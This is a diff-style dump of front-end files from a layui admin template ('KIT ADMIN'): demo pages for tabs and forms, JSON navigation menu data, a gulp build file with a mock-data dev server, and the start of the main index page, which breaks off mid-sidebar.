<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
</head>
|
||||
|
||||
<body style="margin:15px;">
|
||||
<a href="javascript:;" class="layui-btn" data-title="编辑一" data-url="edit1.html" data-icon="fa-edit" data-id="1"><i class="fa fa-edit" aria-hidden="true"></i> 编辑一</a>
|
||||
<a href="javascript:;" class="layui-btn" data-title="编辑二" data-url="edit2.html" data-icon="fa-edit" data-id="2"><i class="fa fa-edit" aria-hidden="true"></i> 编辑二</a>
|
||||
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.use(['layer'], function() {
|
||||
var layer = layui.layer,
|
||||
$ = layui.jquery;
|
||||
|
||||
var tab = parent.tab;
|
||||
|
||||
$('a').off('click').on('click', function() {
|
||||
var _that = $(this),
|
||||
_data = {
|
||||
title: _that.data('title'),
|
||||
icon: _that.data('icon'),
|
||||
id: _that.data('id'),
|
||||
url: _that.data('url')
|
||||
};
|
||||
tab.tabAdd(_data);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,98 @@
|
||||
[{
|
||||
"id": "1",
|
||||
"title": "基本元素",
|
||||
"icon": "fa-cubes",
|
||||
"spread": true,
|
||||
"children": [{
|
||||
"id": "7",
|
||||
"title": "表格",
|
||||
"icon": "",
|
||||
"url": "test.html"
|
||||
}, {
|
||||
"id": "8",
|
||||
"title": "表单",
|
||||
"icon": "",
|
||||
"url": "form.html"
|
||||
}, {
|
||||
"id": "9",
|
||||
"title": "导航栏",
|
||||
"icon": "",
|
||||
"url": "nav.html"
|
||||
}, {
|
||||
"id": "10",
|
||||
"title": "列表四",
|
||||
"icon": "",
|
||||
"url": "list4.html"
|
||||
}, {
|
||||
"id": "11",
|
||||
"title": "百度一下",
|
||||
"icon": "",
|
||||
"url": "https://www.baidu.com"
|
||||
}]
|
||||
}, {
|
||||
"id": "2",
|
||||
"title": "组件",
|
||||
"icon": "fa-cogs",
|
||||
"spread": false,
|
||||
"children": [{
|
||||
"id": "12",
|
||||
"title": "Navbar",
|
||||
"icon": "fa-table",
|
||||
"url": "navbar.html"
|
||||
}, {
|
||||
"id": "13",
|
||||
"title": "Tab",
|
||||
"icon": "",
|
||||
"url": "tab.html"
|
||||
}, {
|
||||
"id": "14",
|
||||
"title": "app.js主入口",
|
||||
"icon": "",
|
||||
"url": "app.html"
|
||||
}]
|
||||
}, {
|
||||
"id": "4",
|
||||
"title": "地址本",
|
||||
"icon": "fa-address-book",
|
||||
"url": "",
|
||||
"spread": false,
|
||||
"children": [{
|
||||
"id": "17",
|
||||
"title": "Github",
|
||||
"icon": "fa-github",
|
||||
"url": "https://www.github.com/"
|
||||
}, {
|
||||
"id": "18",
|
||||
"title": "QQ",
|
||||
"icon": "fa-qq",
|
||||
"url": "http://www.qq.com/"
|
||||
}, {
|
||||
"id": "19",
|
||||
"title": "Fly社区",
|
||||
"icon": "",
|
||||
"url": "http://fly.layui.com/"
|
||||
}, {
|
||||
"id": "20",
|
||||
"title": "新浪微博",
|
||||
"icon": "fa-weibo",
|
||||
"url": "http://weibo.com/"
|
||||
}]
|
||||
}, {
|
||||
"id": "5",
|
||||
"title": "这是一级导航",
|
||||
"icon": "fa-stop-circle",
|
||||
"url": "https://www.baidu.com",
|
||||
"spread": false
|
||||
}, {
|
||||
"id": "6",
|
||||
"title": "其他",
|
||||
"icon": "fa-stop-circle",
|
||||
"url": "#",
|
||||
"spread": false,
|
||||
"children": [{
|
||||
"id": "21",
|
||||
"title": "子窗体中打开选项卡",
|
||||
"icon": "fa-github",
|
||||
"url": "cop.html"
|
||||
}]
|
||||
}]
|
||||
@@ -0,0 +1,98 @@
|
||||
[{
|
||||
"id": "2",
|
||||
"title": "组件",
|
||||
"icon": "fa-cogs",
|
||||
"spread": false,
|
||||
"children": [{
|
||||
"id": "12",
|
||||
"title": "Navbar",
|
||||
"icon": "fa-table",
|
||||
"url": "navbar.html"
|
||||
}, {
|
||||
"id": "13",
|
||||
"title": "Tab",
|
||||
"icon": "",
|
||||
"url": "tab.html"
|
||||
}, {
|
||||
"id": "14",
|
||||
"title": "app.js主入口",
|
||||
"icon": "",
|
||||
"url": "app.html"
|
||||
}]
|
||||
}, {
|
||||
"id": "1",
|
||||
"title": "基本元素",
|
||||
"icon": "fa-cubes",
|
||||
"spread": true,
|
||||
"children": [{
|
||||
"id": "7",
|
||||
"title": "表格",
|
||||
"icon": "",
|
||||
"url": "test.html"
|
||||
}, {
|
||||
"id": "8",
|
||||
"title": "表单",
|
||||
"icon": "",
|
||||
"url": "form.html"
|
||||
}, {
|
||||
"id": "9",
|
||||
"title": "导航栏",
|
||||
"icon": "",
|
||||
"url": "nav.html"
|
||||
}, {
|
||||
"id": "10",
|
||||
"title": "列表四",
|
||||
"icon": "",
|
||||
"url": "list4.html"
|
||||
}, {
|
||||
"id": "11",
|
||||
"title": "百度一下",
|
||||
"icon": "",
|
||||
"url": "https://www.baidu.com"
|
||||
}]
|
||||
}, {
|
||||
"id": "4",
|
||||
"title": "地址本",
|
||||
"icon": "fa-address-book",
|
||||
"url": "",
|
||||
"spread": false,
|
||||
"children": [{
|
||||
"id": "17",
|
||||
"title": "Github",
|
||||
"icon": "fa-github",
|
||||
"url": "https://www.github.com/"
|
||||
}, {
|
||||
"id": "18",
|
||||
"title": "QQ",
|
||||
"icon": "fa-qq",
|
||||
"url": "http://www.qq.com/"
|
||||
}, {
|
||||
"id": "19",
|
||||
"title": "Fly社区",
|
||||
"icon": "",
|
||||
"url": "http://fly.layui.com/"
|
||||
}, {
|
||||
"id": "20",
|
||||
"title": "新浪微博",
|
||||
"icon": "fa-weibo",
|
||||
"url": "http://weibo.com/"
|
||||
}]
|
||||
}, {
|
||||
"id": "5",
|
||||
"title": "这是一级导航",
|
||||
"icon": "fa-stop-circle",
|
||||
"url": "https://www.baidu.com",
|
||||
"spread": false
|
||||
}, {
|
||||
"id": "6",
|
||||
"title": "其他",
|
||||
"icon": "fa-stop-circle",
|
||||
"url": "#",
|
||||
"spread": false,
|
||||
"children": [{
|
||||
"id": "21",
|
||||
"title": "子窗体中打开选项卡",
|
||||
"icon": "fa-github",
|
||||
"url": "cop.html"
|
||||
}]
|
||||
}]
|
||||
@@ -0,0 +1,13 @@
|
||||
[{
|
||||
"title": "控制台",
|
||||
"icon": "fa-circle-o",
|
||||
"id": "1"
|
||||
}, {
|
||||
"title": "商品管理",
|
||||
"icon": "",
|
||||
"id": "2"
|
||||
}, {
|
||||
"title": "会员管理",
|
||||
"icon": "fa-heartbeat",
|
||||
"id": "3"
|
||||
}]
|
||||
@@ -0,0 +1,424 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>layui</title>
|
||||
<meta name="renderer" content="webkit">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<blockquote class="layui-elem-quote layui-text">
|
||||
鉴于小伙伴的普遍反馈，先温馨提醒两个常见“问题”：1. <a href="/doc/base/faq.html#form" target="_blank">为什么select/checkbox/radio没显示？</a> 2. <a href="/doc/modules/form.html#render" target="_blank">动态添加的表单元素如何更新？</a>
|
||||
</blockquote>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 20px;">
|
||||
<legend>表单集合演示</legend>
|
||||
</fieldset>
|
||||
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">单行输入框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="title" lay-verify="title" autocomplete="off" placeholder="请输入标题" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">验证必填项</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="username" lay-verify="required" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">验证手机</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="tel" name="phone" lay-verify="phone" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">验证邮箱</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="email" lay-verify="email" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">多规则验证</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="number" lay-verify="required|number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">验证日期</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="date" id="date" lay-verify="date" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">验证链接</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="tel" name="url" lay-verify="url" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">验证身份证</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="identity" lay-verify="identity" placeholder="" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">自定义验证</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="password" name="password" lay-verify="pass" placeholder="请输入密码" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">请填写6到12位密码</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">范围</label>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" name="price_min" placeholder="￥" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" name="price_max" placeholder="￥" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">单行选择框</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="interest" lay-filter="aihao">
|
||||
<option value=""></option>
|
||||
<option value="0">写作</option>
|
||||
<option value="1" selected="">阅读</option>
|
||||
<option value="2">游戏</option>
|
||||
<option value="3">音乐</option>
|
||||
<option value="4">旅行</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">分组选择框</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz">
|
||||
<option value="">请选择问题</option>
|
||||
<optgroup label="城市记忆">
|
||||
<option value="你工作的第一个城市">你工作的第一个城市</option>
|
||||
</optgroup>
|
||||
<optgroup label="学生时代">
|
||||
<option value="你的工号">你的工号</option>
|
||||
<option value="你最喜欢的老师">你最喜欢的老师</option>
|
||||
</optgroup>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">搜索选择框</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="modules" lay-verify="required" lay-search="">
|
||||
<option value="">直接选择或搜索选择</option>
|
||||
<option value="1">layer</option>
|
||||
<option value="2">form</option>
|
||||
<option value="3">layim</option>
|
||||
<option value="4">element</option>
|
||||
<option value="5">laytpl</option>
|
||||
<option value="6">upload</option>
|
||||
<option value="7">laydate</option>
|
||||
<option value="8">laypage</option>
|
||||
<option value="9">flow</option>
|
||||
<option value="10">util</option>
|
||||
<option value="11">code</option>
|
||||
<option value="12">tree</option>
|
||||
<option value="13">layedit</option>
|
||||
<option value="14">nav</option>
|
||||
<option value="15">tab</option>
|
||||
<option value="16">table</option>
|
||||
<option value="17">select</option>
|
||||
<option value="18">checkbox</option>
|
||||
<option value="19">switch</option>
|
||||
<option value="20">radio</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">联动选择框</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz1">
|
||||
<option value="">请选择省</option>
|
||||
<option value="浙江" selected="">浙江省</option>
|
||||
<option value="你的工号">江西省</option>
|
||||
<option value="你最喜欢的老师">福建省</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz2">
|
||||
<option value="">请选择市</option>
|
||||
<option value="杭州">杭州</option>
|
||||
<option value="宁波" disabled="">宁波</option>
|
||||
<option value="温州">温州</option>
|
||||
<option value="温州">台州</option>
|
||||
<option value="温州">绍兴</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz3">
|
||||
<option value="">请选择县/区</option>
|
||||
<option value="西湖区">西湖区</option>
|
||||
<option value="余杭区">余杭区</option>
|
||||
<option value="拱墅区">临安市</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">此处只是演示联动排版，并未做联动交互</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">复选框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="like[write]" title="写作">
|
||||
<input type="checkbox" name="like[read]" title="阅读" checked="">
|
||||
<input type="checkbox" name="like[game]" title="游戏">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item" pane="">
|
||||
<label class="layui-form-label">原始复选框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="like1[write]" lay-skin="primary" title="写作" checked="">
|
||||
<input type="checkbox" name="like1[read]" lay-skin="primary" title="阅读">
|
||||
<input type="checkbox" name="like1[game]" lay-skin="primary" title="游戏" disabled="">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">开关-默认关</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="close" lay-skin="switch" lay-text="ON|OFF">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">开关-默认开</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" checked="" name="open" lay-skin="switch" lay-filter="switchTest" lay-text="ON|OFF">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">单选框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" name="sex" value="男" title="男" checked="">
|
||||
<input type="radio" name="sex" value="女" title="女">
|
||||
<input type="radio" name="sex" value="禁" title="禁用" disabled="">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">普通文本域</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea placeholder="请输入内容" class="layui-textarea"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">编辑器</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea class="layui-textarea layui-hide" name="content" lay-verify="content" id="LAY_demo_editor"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 50px;">
|
||||
<legend>方框风格的表单集合</legend>
|
||||
</fieldset>
|
||||
<form class="layui-form layui-form-pane" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">长输入框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="title" autocomplete="off" placeholder="请输入标题" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">短输入框</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="username" lay-verify="required" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">日期选择</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="date" id="date1" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">行内表单</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" name="number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">密码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="password" name="password" placeholder="请输入密码" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">请务必填写用户名</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">范围</label>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" name="price_min" placeholder="￥" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" name="price_max" placeholder="￥" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">单行选择框</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="interest" lay-filter="aihao">
|
||||
<option value=""></option>
|
||||
<option value="0">写作</option>
|
||||
<option value="1" selected="">阅读</option>
|
||||
<option value="2">游戏</option>
|
||||
<option value="3">音乐</option>
|
||||
<option value="4">旅行</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">行内选择框</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz1">
|
||||
<option value="">请选择省</option>
|
||||
<option value="浙江" selected="">浙江省</option>
|
||||
<option value="你的工号">江西省</option>
|
||||
<option value="你最喜欢的老师">福建省</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz2">
|
||||
<option value="">请选择市</option>
|
||||
<option value="杭州">杭州</option>
|
||||
<option value="宁波" disabled="">宁波</option>
|
||||
<option value="温州">温州</option>
|
||||
<option value="温州">台州</option>
|
||||
<option value="温州">绍兴</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-input-inline">
|
||||
<select name="quiz3">
|
||||
<option value="">请选择县/区</option>
|
||||
<option value="西湖区">西湖区</option>
|
||||
<option value="余杭区">余杭区</option>
|
||||
<option value="拱墅区">临安市</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" pane="">
|
||||
<label class="layui-form-label">开关-开</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" checked="" name="open" lay-skin="switch" lay-filter="switchTest" title="开关">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" pane="">
|
||||
<label class="layui-form-label">单选框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" name="sex" value="男" title="男" checked="">
|
||||
<input type="radio" name="sex" value="女" title="女">
|
||||
<input type="radio" name="sex" value="禁" title="禁用" disabled="">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">文本域</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea placeholder="请输入内容" class="layui-textarea"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo2">跳转式提交</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<!-- 注意：如果你直接复制所有代码到本地，上述js路径需要改成你本地的 -->
|
||||
<script>
|
||||
layui.use(['form', 'layedit', 'laydate'], function() {
|
||||
var form = layui.form,
|
||||
layer = layui.layer,
|
||||
layedit = layui.layedit,
|
||||
laydate = layui.laydate;
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#date'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#date1'
|
||||
});
|
||||
|
||||
//创建一个编辑器
|
||||
var editIndex = layedit.build('LAY_demo_editor');
|
||||
|
||||
//自定义验证规则
|
||||
form.verify({
|
||||
title: function(value) {
|
||||
if (value.length < 5) {
|
||||
return '标题至少得5个字符啊';
|
||||
}
|
||||
},
|
||||
pass: [/(.+){6,12}$/, '密码必须6到12位'],
|
||||
content: function(value) {
|
||||
layedit.sync(editIndex);
|
||||
}
|
||||
});
|
||||
|
||||
//监听指定开关
|
||||
form.on('switch(switchTest)', function(data) {
|
||||
layer.msg('开关checked：' + (this.checked ? 'true' : 'false'), {
|
||||
offset: '6px'
|
||||
});
|
||||
layer.tips('温馨提示：请注意开关状态的文字可以随意定义，而不仅仅是ON|OFF', data.othis)
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data) {
|
||||
layer.alert(JSON.stringify(data.field), {
|
||||
title: '最终的提交信息'
|
||||
})
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,92 @@
|
||||
var url = require('url');
|
||||
var fs = require('fs');
|
||||
var path = require('path');
|
||||
var pkg = require('./package.json');
|
||||
|
||||
var gulp = require('gulp');
|
||||
var uglify = require('gulp-uglify');
|
||||
var minify = require('gulp-minify-css');
|
||||
var concat = require('gulp-concat');
|
||||
var rename = require('gulp-rename');
|
||||
var header = require('gulp-header');
|
||||
var del = require('del');
|
||||
var gulpif = require('gulp-if');
|
||||
var minimist = require('minimist');
|
||||
var zip = require('gulp-zip');
|
||||
|
||||
var livereload = require('gulp-livereload');
|
||||
var webserver = require('gulp-webserver');
|
||||
|
||||
var task = {
|
||||
mincss: function() {
|
||||
return gulp.src(['./src/css/**/*.css'])
|
||||
.pipe(minify())
|
||||
.pipe(header.apply(null, ['/** <%= pkg.name %>-v<%= pkg.version %> <%= pkg.license %> License By <%= pkg.homepage %> e-mail:<%= pkg.email %> */\n', { pkg: pkg }]))
|
||||
.pipe(gulp.dest('./build/css'));
|
||||
},
|
||||
minjs: function() {
|
||||
return gulp.src('./src/js/*.js')
|
||||
.pipe(gulpif(['!app.js', '!config.js'], uglify()))
|
||||
.pipe(header.apply(null, ['/** <%= pkg.name %>-v<%= pkg.version %> <%= pkg.license %> License By <%= pkg.homepage %> e-mail:<%= pkg.email %> */\n <%= js %>', { pkg: pkg, js: ';' }]))
|
||||
.pipe(gulp.dest('./build/js'));
|
||||
},
|
||||
file: function() {
|
||||
return gulp.src(['./src/images/**/*.{png,jpg,gif,html,mp3,json}'])
|
||||
.pipe(rename({}))
|
||||
.pipe(gulp.dest('./build/images'));
|
||||
}
|
||||
};
|
||||
gulp.task('minjs', task.minjs);
|
||||
gulp.task('mincss', task.mincss);
|
||||
gulp.task('file', task.file);
|
||||
gulp.task('default', function() {
|
||||
|
||||
});
|
||||
gulp.task('all', ['clear'], function() {
|
||||
for (var key in task) {
|
||||
task[key]();
|
||||
}
|
||||
});
|
||||
gulp.task('clear', function(cb) {
|
||||
return del(['./build/*'], cb);
|
||||
});
|
||||
|
||||
//web服务器 用于开发环境
|
||||
gulp.task('webserver', function() {
|
||||
gulp.src('./') // 服务器目录（./代表根目录）
|
||||
.pipe(webserver({ // 运行gulp-webserver
|
||||
port: 8050, //端口，默认8000
|
||||
livereload: true, // 启用LiveReload
|
||||
open: true, // 服务器启动时自动打开网页
|
||||
directoryListing: {
|
||||
enable: true,
|
||||
path: 'index.html' //配置默认访问页面
|
||||
},
|
||||
middleware: function(req, res, next) {
|
||||
//mock local data
|
||||
var urlObj = url.parse(req.url, true),
|
||||
method = req.method;
|
||||
if (!urlObj.pathname.match(/^\/api/)) { //不是api开头的数据，直接next
|
||||
next();
|
||||
return;
|
||||
}
|
||||
var mockDataFile = path.join(__dirname, urlObj.pathname) + ".js";
|
||||
//file exist or not
|
||||
fs.access(mockDataFile, fs.F_OK, function(err) {
|
||||
if (err) {
|
||||
// res.setHeader('Content-Type', 'application/json');
|
||||
res.end(JSON.stringify({
|
||||
"status": "没有找到此文件",
|
||||
"notFound": mockDataFile
|
||||
}));
|
||||
return;
|
||||
}
|
||||
var data = fs.readFileSync(mockDataFile, 'utf-8');
|
||||
res.setHeader('Content-Type', 'application/json');
|
||||
res.end(data);
|
||||
});
|
||||
next();
|
||||
},
|
||||
proxies: []
|
||||
}));
|
||||
});
|
||||
@@ -0,0 +1,125 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./src/css/app.css" media="all">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav" kit-one-level>
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">基本资料</a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/components/table/table.html" data-name="table" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表格(page)</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
